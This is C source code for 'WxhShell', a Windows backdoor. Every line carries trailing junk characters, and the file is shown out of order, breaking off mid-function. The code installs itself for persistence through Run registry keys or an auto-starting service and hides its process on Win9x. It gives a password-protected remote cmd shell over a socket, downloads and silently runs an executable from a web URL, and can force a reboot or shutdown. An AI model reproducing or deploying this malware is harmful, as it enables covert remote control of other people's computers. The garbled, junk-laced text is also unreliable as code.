    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<YYf^y  
    else { .TrQ +k>  
    closesocket(wsh); P+cFp7nC  
    ExitThread(0); 8=_| qy}l/  
    } Gxt<kz  
    break; nfPl#]ef*  
    } {UVm0AeUq  
  // 获取shell JnKbd~  
  case 's': { GeW$lA I  
    CmdShell(wsh); ^# g;"K0  
    closesocket(wsh); z4%F2Czai&  
    ExitThread(0); 9tW.}5V  
    break; R)d 7b,_Yd  
  } l+kg4y  
  // 退出 ="nrq&2  
  case 'x': { M:q ;z(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ""KN?qh9  
    CloseIt(wsh); *'S%gR=Aa+  
    break; }(7QJk5 j  
    } 2\8\D^   
  // 离开 g|*eN{g]uE  
  case 'q': { ;w&yGm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WT? U~.U  
    closesocket(wsh); jQBdS. }'v  
    WSACleanup(); %'g-%2C?  
    exit(1); |~vQ0D  
    break; GZ>% &^E  
        } 8QgL7  
  } &!EYT0=>p  
  } Pj5#G0i%  
-{sv3|P>  
  // 提示信息 NqfDY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *"bp}3$^^  
} Y{:/vOj  
  } [";5s&)q  
7%x+7  
  return; tcdn"]#U  
} aI#n+PW  
'ah0IYe  
// shell模块句柄 '/*rCB  
int CmdShell(SOCKET sock) = y,avR  
{ J^a"1|  
STARTUPINFO si; JBJ7k19;  
ZeroMemory(&si,sizeof(si)); ]O ` [v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <UL|%9=~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9<r}s  
PROCESS_INFORMATION ProcessInfo; p%y\`Nlgdx  
char cmdline[]="cmd"; !>);}J!e]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5K-)X9z?  
  return 0; ) CTM  
} e*Med)tc^$  
1KR|i"  
// 自身启动模式 &>b1ES.>  
int StartFromService(void) ;l4 \^E1  
{ 9{#|sABGD  
typedef struct 32FGDM  
{ T@WMT,J6j  
  DWORD ExitStatus; D}U<7=\3H  
  DWORD PebBaseAddress; YGmdiY:;1  
  DWORD AffinityMask; Qg.:w  
  DWORD BasePriority; 0e](N`  
  ULONG UniqueProcessId;  ;I@L  
  ULONG InheritedFromUniqueProcessId; #E@i@'T  
}   PROCESS_BASIC_INFORMATION; YfU#kvE'  
k0uwG'(z9  
PROCNTQSIP NtQueryInformationProcess; Cb-E<W&2D  
odn`%ok  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qP'g}Pc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M\6v}kUY  
A>2p/iMc  
  HANDLE             hProcess; JU.%;e7  
  PROCESS_BASIC_INFORMATION pbi; Bb"4^EOZ,  
vfDb9QP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); # Kr.!uD  
  if(NULL == hInst ) return 0; E\N=p&g$  
 (t['  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e>Y2q|S85  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?0%TE\I8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (:x"p{  
`R?W @,@'  
  if (!NtQueryInformationProcess) return 0; -B(KQT,J  
>D#}B1(!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X1dG'PQ  
  if(!hProcess) return 0; GP'Y!cl  
:vT%5CQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y\|J1I,Z4  
I,3!uogn  
  CloseHandle(hProcess); e !Okc*,  
W-QPO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X5<.%@Z  
if(hProcess==NULL) return 0; 93DBZqN  
,RO(k4  
HMODULE hMod; 9X` QlJ2|  
char procName[255]; p00AcUTq  
unsigned long cbNeeded; IW_D$pq  
4,DsB'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =1[g`b  
NyLnE  
  CloseHandle(hProcess); loe>"_`Cq  
lM"7 Z  
if(strstr(procName,"services")) return 1; // 以服务启动 c `; LF'!  
Zw{tuO7}K  
  return 0; // 注册表启动 w5jZI|  
} mh]$g<*m  
r/2:O92E  
// 主模块 `0D1Nh"%k  
int StartWxhshell(LPSTR lpCmdLine) n82Q.M-H  
{ XCriZ|s  
  SOCKET wsl; @E;pT3; )  
BOOL val=TRUE; - S-1<xR  
  int port=0; S>E.*]_  
  struct sockaddr_in door; $ '*BS  
#Q7$I.O]  
  if(wscfg.ws_autoins) Install(); N Z`hy>LF^  
i`'^ zR(`i  
port=atoi(lpCmdLine); H-w|JH>g  
<z)G& h@  
if(port<=0) port=wscfg.ws_port; ?Fpl.t~  
V/e_:xECC  
  WSADATA data; 3>Snd9Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %/zZ~WIf  
w'XgW0j{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   efR$s{n!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NM.B=<Aw*  
  door.sin_family = AF_INET; `1]9(xwhQ0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fk1f'M)/8  
  door.sin_port = htons(port); >t(@?*ZFT  
%'z3es0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ): C4}&l  
closesocket(wsl); q+~CA[H5K  
return 1; {Z.@-Tl_  
} *xP:7K  
J3;KQ}F.I  
  if(listen(wsl,2) == INVALID_SOCKET) { n.RhA-O  
closesocket(wsl); hh&y2#Io  
return 1; 5zOSb$;  
} B,,d~\  
  Wxhshell(wsl); >,Z{wxz J  
  WSACleanup(); -+|[0hpw  
v1)6")8o+  
return 0; Bn q\Gg  
qw1J{xoHW  
} AAgA]OD,  
>oDP(]YGg  
// 以NT服务方式启动 xS1|Z|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \ 6 a  
{ 9YhsJ~"Q  
DWORD   status = 0; 8$Yf#;m[  
  DWORD   specificError = 0xfffffff; 9zd/5|W  
2Zip8f!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Iq \oB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >~~\==".  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mM>|fHGA  
  serviceStatus.dwWin32ExitCode     = 0; 4V8wB}y7e  
  serviceStatus.dwServiceSpecificExitCode = 0; pr(\?\a  
  serviceStatus.dwCheckPoint       = 0; taaAwTtk?A  
  serviceStatus.dwWaitHint       = 0; ku8c)  
':4pH#E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ypo=y/!  
  if (hServiceStatusHandle==0) return; U{(07GNm#  
aS G2K0  
status = GetLastError(); ts>}>}@vc  
  if (status!=NO_ERROR) ulJYJ+CC!  
{ e]h'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tb3fz")UC  
    serviceStatus.dwCheckPoint       = 0; d.o FlT  
    serviceStatus.dwWaitHint       = 0; Ypj)6d  
    serviceStatus.dwWin32ExitCode     = status; ,$$$_+m\  
    serviceStatus.dwServiceSpecificExitCode = specificError; }4%)m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \}NWR{=  
    return; I=a$1%BzEX  
  } }* JMc+!9@  
kH -b!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0u2uYiE-l  
  serviceStatus.dwCheckPoint       = 0; yVzg<%CR^  
  serviceStatus.dwWaitHint       = 0; u_=y,~s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kZ%W?#  
} %tQ{Hf~  
>+8I =S  
// 处理NT服务事件,比如:启动、停止 ~1sl.8tF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A"iD4Q  
{ Q@VnJ,  
switch(fdwControl) a@ }r[0O  
{ d<nB=r!*  
case SERVICE_CONTROL_STOP: olh3 R.M<  
  serviceStatus.dwWin32ExitCode = 0; #)}bUNc'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t'x:fO?cp  
  serviceStatus.dwCheckPoint   = 0;  o f  
  serviceStatus.dwWaitHint     = 0; DNBpIC5&6  
  { 'PYqp&gJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w8I&:"^7<  
  } |9Ks13?Ck  
  return; dvF48,kr  
case SERVICE_CONTROL_PAUSE: n ]}2O 4j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?<^AXLiKV  
  break; 15DK \_;  
case SERVICE_CONTROL_CONTINUE: Hd`p_?3]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -GVG1#5  
  break; HWOs@ !cL  
case SERVICE_CONTROL_INTERROGATE: [qMdOY%jx  
  break; % ul{nL:  
}; z}&C(m:al  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/ m)f#  
} u@u.N2H.%  
)uuEOF"w  
// 标准应用程序主函数 l{m~d!w`a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MPy][^s!  
{ E9 q;>)}  
D#}Yx]Q1  
// 获取操作系统版本 Am0C|(#Xm  
OsIsNt=GetOsVer(); q*TKs#3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ab<Ok\e5  
4,ynt&  
  // 从命令行安装 Ltd?#HP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8Flf,"a   
l5]oS? >y  
  // 下载执行文件 Er1u1@  
if(wscfg.ws_downexe) { NVWeJ+w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bMOM`At>z  
  WinExec(wscfg.ws_filenam,SW_HIDE); |hQ|'VCN  
} Sb4PCt  
\OT)KVwO  
if(!OsIsNt) { H<7DcwXv  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ilu`b|%D  
HideProc(); ruA+1-<f  
StartWxhshell(lpCmdLine); 13_~)V  
} bRz^=  
else  )\\V s>9  
  if(StartFromService()) h21(K}  
  // 以服务方式启动 kDl4t]j  
  StartServiceCtrlDispatcher(DispatchTable); Zbh]SF{3F  
else #_\MD,(  
  // 普通方式启动 *u;">H*BW  
  StartWxhshell(lpCmdLine); :_,]?n  
"u8o?8+q~  
return 0; G,|]a#w&v.  
} B~g05`s  
|$?Ux,(6  
s_Oh >y?Aq  
;Pqyu ?  
=========================================== q&d&#3Rh  
3H}~eEg,  
}>X\"  
Q>a7Ps@~  
/,N!g_"Z  
>dvWa-rNUT  
" Bx : So6:  
(X_,*3Yxk  
#include <stdio.h> ^lc}FN  
#include <string.h> :`u&TXsu  
#include <windows.h> K[>@'P}y  
#include <winsock2.h> UtBlP+bE?y  
#include <winsvc.h> i,Wm{+H-O  
#include <urlmon.h> 3 s_k>cO=  
Q}?N4kg  
#pragma comment (lib, "Ws2_32.lib") Xm=^\K3  
#pragma comment (lib, "urlmon.lib") /.kna4k  
QJIItx4hE  
#define MAX_USER   100 // 最大客户端连接数 y(3c{y@~X  
#define BUF_SOCK   200 // sock buffer Ma=6kX]  
#define KEY_BUFF   255 // 输入 buffer }vUlTH  
M?~<w)L}  
#define REBOOT     0   // 重启 `KJYm|@i  
#define SHUTDOWN   1   // 关机 {[t"O u  
,rB9esxic  
#define DEF_PORT   5000 // 监听端口 jo;uRl  
ZG/8Ds  
#define REG_LEN     16   // 注册表键长度 ]%<Q:+38  
#define SVC_LEN     80   // NT服务名长度 *iRm`)zC(  
j #I:6yA3  
// 从dll定义API <A -(&+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;?L!1wklA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M o"JV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 60aKT:KLC_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,8=`*  
yw* mA1v  
// wxhshell配置信息 &<w[4z\  
struct WSCFG { f*T)*R_  
  int ws_port;         // 监听端口 k BiBXRt  
  char ws_passstr[REG_LEN]; // 口令 l'7Mw%6{  
  int ws_autoins;       // 安装标记, 1=yes 0=no gF,[u  
  char ws_regname[REG_LEN]; // 注册表键名 !&a;P,_Fb  
  char ws_svcname[REG_LEN]; // 服务名 Z ]aK'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aq0iNbv@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s@ 2 0#D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^?s~Fk_V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~C"k$;(n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :e&n.i^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gVnws E  
u JQaHL!  
}; dm,}Nbc91(  
@ k+%y'Y?  
// default Wxhshell configuration q M_/  
struct WSCFG wscfg={DEF_PORT, ne"?90~  
    "xuhuanlingzhe", x!C8?K =|  
    1, XYb^C s;  
    "Wxhshell", KZrMf77=  
    "Wxhshell", iF [?uF  
            "WxhShell Service", {C/L5cZ]J  
    "Wrsky Windows CmdShell Service", wTlK4R#  
    "Please Input Your Password: ", ;J(rw  
  1, $h 08Z  
  "http://www.wrsky.com/wxhshell.exe", Gin_E&%g  
  "Wxhshell.exe" q[)q|R|  
    }; ]|,q|c,  
5 PGlR!^  
// 消息定义模块 dSe8vA!)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9|N" @0<B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R81{<q'%X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5?5- ;H  
char *msg_ws_ext="\n\rExit."; wc7mJxJxA  
char *msg_ws_end="\n\rQuit."; . 0 s[{x  
char *msg_ws_boot="\n\rReboot..."; b46[fa   
char *msg_ws_poff="\n\rShutdown..."; $!|8g`Tm  
char *msg_ws_down="\n\rSave to "; \K?(  
c Pq Dsl3  
char *msg_ws_err="\n\rErr!"; X-)RU?  
char *msg_ws_ok="\n\rOK!"; .:{h{@a  
r=~WMDCz@  
char ExeFile[MAX_PATH]; 4{;8:ax&w  
int nUser = 0; %NT`C9][  
HANDLE handles[MAX_USER]; 1p7cv~#95  
int OsIsNt; K\IYx|Hm a  
SZ5O89  
SERVICE_STATUS       serviceStatus; 8_a$kJJ2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AV:Xg4UJv  
%@}o'=[  
// 函数声明 GOy=p3mQ  
int Install(void); t."g\;  
int Uninstall(void); #`jE%ONC  
int DownloadFile(char *sURL, SOCKET wsh); jl.okWuiY  
int Boot(int flag); ""1#bs{n  
void HideProc(void); bBUbw*DF)  
int GetOsVer(void); lAdDu  
int Wxhshell(SOCKET wsl); 1B)Y;hg6&  
void TalkWithClient(void *cs); TL},Unq  
int CmdShell(SOCKET sock); PIZ C;K4|  
int StartFromService(void); &1z)fD2  
int StartWxhshell(LPSTR lpCmdLine); M}Nb|V09  
$!YKZ0)B'0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0'?V|V=v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vKNt$]pm=  
q2x|%H RF  
// 数据结构和表定义 . i{>Z  
SERVICE_TABLE_ENTRY DispatchTable[] = omM&{ }8g  
{ ~ X-)_zH  
{wscfg.ws_svcname, NTServiceMain}, p?+lAbe6H  
{NULL, NULL} Sa3I?+  
}; B{7Kzwh;  
$; Q$W9+  
// 自我安装 8tb6 gZz  
int Install(void) )Y3EQxXa  
{ ([:]T$0 #  
  char svExeFile[MAX_PATH]; -DTB6}kw  
  HKEY key; /> ^@ O  
  strcpy(svExeFile,ExeFile); Yim{U:F  
J=I:T2bV&s  
// 如果是win9x系统,修改注册表设为自启动 WnD^F>  
if(!OsIsNt) { @S`$C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m7$8k@r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A2m_q>> !  
  RegCloseKey(key); P^ptsZ%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wL4Z W8_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2R^O,Vu*W  
  RegCloseKey(key); s %eyW _  
  return 0; 0B=[80K;8  
    } CF]i}xpWV  
  } =%!e(N'p  
} ePf+[pV3  
else { 7#QLtU  
OnZF6yfN=3  
// 如果是NT以上系统,安装为系统服务 Q*]$)D3n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QL2Nz@|k  
if (schSCManager!=0)  )|v^9  
{ 8RVS)D''  
  SC_HANDLE schService = CreateService "mP&8y 9F  
  ( -x{dc7y2  
  schSCManager, !7}IqSs  
  wscfg.ws_svcname, /-h6`@[  
  wscfg.ws_svcdisp, z5x _fAT(  
  SERVICE_ALL_ACCESS, >A-<ZS*N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c\At0.QCA  
  SERVICE_AUTO_START, AgIazv1  
  SERVICE_ERROR_NORMAL, ^NXcLEaP*<  
  svExeFile, Rv=DI&K%n  
  NULL, BR+nL6sU  
  NULL, /QQ8.8=5  
  NULL, LH4>@YPGE#  
  NULL, Ng\/)^  
  NULL C)NC&fV  
  ); lWW+5  
  if (schService!=0) A]7<'el=  
  { >ajuk  
  CloseServiceHandle(schService); !<&m]K  
  CloseServiceHandle(schSCManager); pe9@N9_5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d')-7C  
  strcat(svExeFile,wscfg.ws_svcname); gw"~RV0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ][,4,?T7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g& k58{e  
  RegCloseKey(key); $[g_=Z  
  return 0; !=3Rg-'d1  
    } ~4Pc_%&i  
  } jk$86ma!  
  CloseServiceHandle(schSCManager);  {@gAv!  
} \#CM <%  
} Mi ; glm  
wJ gX/W  
return 1; Z%m-HE:k  
} -D^L}b  
EFAGP${F  
// 自我卸载 =+Im*mgNn  
int Uninstall(void) EeB ]X24  
{ h4/X 0@l`  
  HKEY key; tAjx\7IX  
b.b@bq$1  
if(!OsIsNt) { 2jl)mL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bLqy!QE  
  RegDeleteValue(key,wscfg.ws_regname);  B$^7h!  
  RegCloseKey(key); .x!T+`l>8I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i(*I@ku  
  RegDeleteValue(key,wscfg.ws_regname); *5e+@rD`  
  RegCloseKey(key); Bd@'e7{  
  return 0; 3J{vt"dS  
  } w5*Z!  
} Jic}+X*0  
} {^5?)/<  
else { G/vC~6x  
K^zDNIQU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6"U8V ?E  
if (schSCManager!=0) -I":Z2.fR  
{ C9qJP^F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3NIUW!gr  
  if (schService!=0) |ETiLR=&  
  { ][d,l\gu+s  
  if(DeleteService(schService)!=0) { y:d{jG^  
  CloseServiceHandle(schService); ;gMgj$mI  
  CloseServiceHandle(schSCManager); oE?QnH3R  
  return 0; S:q$?$  
  } [3N[i(Wlk  
  CloseServiceHandle(schService); /RT%0!  
  } p_{("zQ  
  CloseServiceHandle(schSCManager); O oSb>Y/4  
} A5fwAB  
} Ue*C>F   
k%P;w1  
return 1; fQ 7vL~E  
} Q6 ?z_0  
ar.AL'  
// 从指定url下载文件 FB:<zmwR  
int DownloadFile(char *sURL, SOCKET wsh) #z!^ <,  
{ aRJcSV  
  HRESULT hr; Jq ]:<TQ  
char seps[]= "/"; ZDx@^P y  
char *token; hXn3,3f3oZ  
char *file; YE}s  
char myURL[MAX_PATH]; 4=Gph  
char myFILE[MAX_PATH]; uS+k^ #  
J:j<"uPm  
strcpy(myURL,sURL); F7MzCZvu  
  token=strtok(myURL,seps); PUdM[-zjh  
  while(token!=NULL) M2@b1;  
  { W `z 0"  
    file=token; :q#K} /  
  token=strtok(NULL,seps); xd-XWXc  
  } 9}29&O  
BVw Wj-,  
GetCurrentDirectory(MAX_PATH,myFILE); (k`{*!:1a  
strcat(myFILE, "\\"); 1tMQqI`N  
strcat(myFILE, file); !k&Q 5s:  
  send(wsh,myFILE,strlen(myFILE),0); @}s$]i$|-  
send(wsh,"...",3,0); 6rN(_Oi-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B[5r|d'  
  if(hr==S_OK) xJZ@DR,#  
return 0; X|DO~{-au  
else x9W(cKB'S  
return 1; /mM2M-  
O 5 Nb  
} {HOy_Fiih  
3WY$WRv  
// 系统电源模块 =gh`JN6  
int Boot(int flag) N_Akmh0D  
{ <spZ! #o  
  HANDLE hToken; oU6y4yO  
  TOKEN_PRIVILEGES tkp; gEQNs\Jn L  
]bi)$j.9s  
  if(OsIsNt) { F^k.is  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SP]IUdE\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p4K.NdUH  
    tkp.PrivilegeCount = 1; L,,*gK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]aryV?!6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JUAS$Y  
if(flag==REBOOT) { ~z5R{;Nbz|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8>WVodv  
  return 0; V DS23Bo  
} D4JLtB'=  
else { TXXy\$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Kwh?8.  
  return 0; WQNE2Q  
} f:B>zp;N  
  } _c$9eAe  
  else {  '1^B +m  
if(flag==REBOOT) { X^9d/}uTa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fq[;%cr4  
  return 0; +>~?m*$  
}  Ez~'^s@  
else { \dQx+f&t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RP5+d  
  return 0; G~7 i@Zs  
} J[~5U~F  
} <"D=6jqZ  
P^`duZ{T  
return 1; aVL=K  
} `1OgYs  
>>i@r@  
// win9x进程隐藏模块 A5'NGt  
void HideProc(void) k67a'pmyJ  
{ wa=uUM_4u^  
3@Z#.FV~C[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #@@Mxr'F  
  if ( hKernel != NULL ) 0Uk@\[1ox  
  { jOpcV|2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h N2:d1f0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wkqX^i7ls  
    FreeLibrary(hKernel); %ek'~  
  } fb~=Y$|  
$;M:TpX  
return; dz [!-M  
} r0d35  
~_IHaw$hg  
// 获取操作系统版本 ##Q/I|  
int GetOsVer(void) ?{w3|Ef&  
{ -Y Bd, k3  
  OSVERSIONINFO winfo; 'bld,Do6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *KY=\ %D  
  GetVersionEx(&winfo); ]lw|pvtd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AcI,N~~  
  return 1; VvFC -r,=G  
  else l\M_-:I+4  
  return 0;  z@|GC_L  
} r:&` $8$  
53-v|'9'  
// 客户端句柄模块 r78TE@d  
int Wxhshell(SOCKET wsl) -[U1]R  
{ {~|OE -X][  
  SOCKET wsh; Ev7J+TmXM  
  struct sockaddr_in client; @/ZF` :   
  DWORD myID; g;$Xq)Dd  
;S0Kh"A  
  while(nUser<MAX_USER) LK6; ? m  
{ A;\ 7|'4  
  int nSize=sizeof(client); Q#h 9n]5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &B! o,qp  
  if(wsh==INVALID_SOCKET) return 1; +w@M~?>  
F":r4`5D"K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `qd+f{Q  
if(handles[nUser]==0) b=~i)`  
  closesocket(wsh); D +_oVob\  
else ~4P%%b0,o  
  nUser++; K=!Bh*  
  } '13ZX:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ) ri}nL.  
p.+ho~sC,.  
  return 0; bAKiq}xG%i  
} Ig3;E+*>  
:qChMU|Y6  
// 关闭 socket d*)CT?d&  
void CloseIt(SOCKET wsh) nhIa175'  
{ kJW N.  
closesocket(wsh); #Z6'?p9  
nUser--; L?5Ck<!xG  
ExitThread(0); hx/N1 x  
} "4vy lHIo  
cUTE$/#s  
// 客户端请求句柄 %QKZT=}  
void TalkWithClient(void *cs) #2r}?hP/m  
{  /'31w9  
+w=AJdc  
  SOCKET wsh=(SOCKET)cs; o9cM{ya/>  
  char pwd[SVC_LEN]; 8,0YD#x  
  char cmd[KEY_BUFF]; Y&/]O$<  
char chr[1]; }%Bl>M  
int i,j; ^v.,y3  
@?YRuwp L  
  while (nUser < MAX_USER) { vjjSKP6B  
,+~rd4a  
if(wscfg.ws_passstr) { [D*UT#FM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @as"JAN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @+atBmt  
  //ZeroMemory(pwd,KEY_BUFF); J|&JD?  
      i=0; rvr-XGK36\  
  while(i<SVC_LEN) { pABs!A`N  
BD`2l!d  
  // 设置超时 WVY\&|)$  
  fd_set FdRead; ]E]2o  
  struct timeval TimeOut; 1"pw  
  FD_ZERO(&FdRead); `,P h/oM  
  FD_SET(wsh,&FdRead); *N{emwIq  
  TimeOut.tv_sec=8; 2h[85\4  
  TimeOut.tv_usec=0; 0P\$ 2lk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z*-g[8FO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S[7WW$lF  
=XXZ?P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZW^ !z  
  pwd=chr[0]; h6} lpd  
  if(chr[0]==0xd || chr[0]==0xa) { 4lBU#V7  
  pwd=0; D@!=d@V.  
  break; wm+/e#'&  
  } ?_I[,N?@41  
  i++; NJNJjdD>  
    } ?B :a|0pf  
#> j.$2G>  
  // 如果是非法用户,关闭 socket 7"8hC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +[5.WC7J  
} I4&::y^ C  
F'hHK.tT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8T(e.I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y#XbJuN/  
}#X8@  
while(1) { It{;SKeo  
[,TkFbDq"J  
  ZeroMemory(cmd,KEY_BUFF); JwJ7=P=c  
PssMTEf  
      // 自动支持客户端 telnet标准   dDF .qXq.  
  j=0; Y5F]:gs@  
  while(j<KEY_BUFF) { ( H6c{'&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vap,y $C  
  cmd[j]=chr[0]; JGuN:c$  
  if(chr[0]==0xa || chr[0]==0xd) { %'[&U#-  
  cmd[j]=0; 1 5A*7|  
  break; _1U1(^)  
  } 8=]Tr3   
  j++; R58-wUto  
    } Y+Fljr*  
ij?  
  // 下载文件 "_`F\DGAZu  
  if(strstr(cmd,"http://")) { 1AU#%wIEP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cq$i  
  if(DownloadFile(cmd,wsh)) QcgfBsv96  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  |jM4E$  
  else up'Tit  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); );FJx~b  
  } }Q";aU0^  
  else { @'|)~,"bx  
|O"lNUW   
    switch(cmd[0]) { :rg5Kt&  
  7e<c$t#H  
